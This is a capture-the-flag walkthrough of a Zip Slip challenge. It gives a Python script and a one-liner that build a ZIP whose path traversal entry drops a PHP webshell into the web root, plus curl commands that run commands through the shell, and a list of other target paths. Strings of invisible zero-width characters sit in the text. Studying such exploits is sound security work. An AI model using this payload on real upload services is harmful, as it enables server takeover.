Zip slip

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: arbitrary_file_write, webshell_upload, zip_slip

Summary

Walkthrough of the CUSTOM Web Zip slip. A file upload service that extracts uploaded ZIP archives. Task description: "#vulnerable service".

Description

A file upload service that extracts uploaded ZIP archives. Task description: "#vulnerable service".

Analysis

Zip Slip is a vulnerability that occurs during unsafe archive extraction. If the server doesn't validate filenames inside the archive, an attacker can create a ZIP with a file whose name contains ../, which leads to writing files outside the target directory.

The vulnerability allows:

• Overwriting arbitrary files on the server
• Uploading a webshell to a public directory
• Achieving RCE (Remote Code Execution) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Creating a malicious ZIP archive

 python read-only • copy allowed Copy
#!/usr/bin/env python3
import zipfile

# Create ZIP with path traversal in filename
with zipfile.ZipFile('evil.zip', 'w') as z:
    # Path escapes from extraction directory to web root
    z.writestr('../../../var/www/html/shell.php', '<?php system($_GET["c"]); ?>')

print("evil.zip created")

Or a one-liner:

 bash read-only • copy allowed Copy
python3 -c "import zipfile; z=zipfile.ZipFile('evil.zip','w'); z.writestr('../../../var/www/html/shell.php','<?php system(\$_GET[\"c\"]); ?>'); z.close()"

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Uploading the archive

Upload evil.zip through the upload form on the website.

Step 3: Exploiting the webshell

After the server extracts the archive, shell.php ends up in the web root:

 bash read-only • copy allowed Copy
# Check if the shell works
curl "http://2019-11-17-zipslip.ctf.su/shell.php?c=id"

# Read the flag
curl "http://2019-11-17-zipslip.ctf.su/shell.php?c=cat%20/flag"

Alternative paths for writing:

• ../../../var/www/html/ — standard Apache web root
• ../../../app/static/ — Flask/Django static files
• ../../public/ — relative path from uploads directory ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

• Mastering arbitrary_file_write, webshell_upload, zip_slip was key to this challenge.
• Always check for common misconfigurations and verify assumptions.

---

Crafted by XESXOR Research • 2019-11-17 • CUSTOM • Zip slip • Difficulty: Easy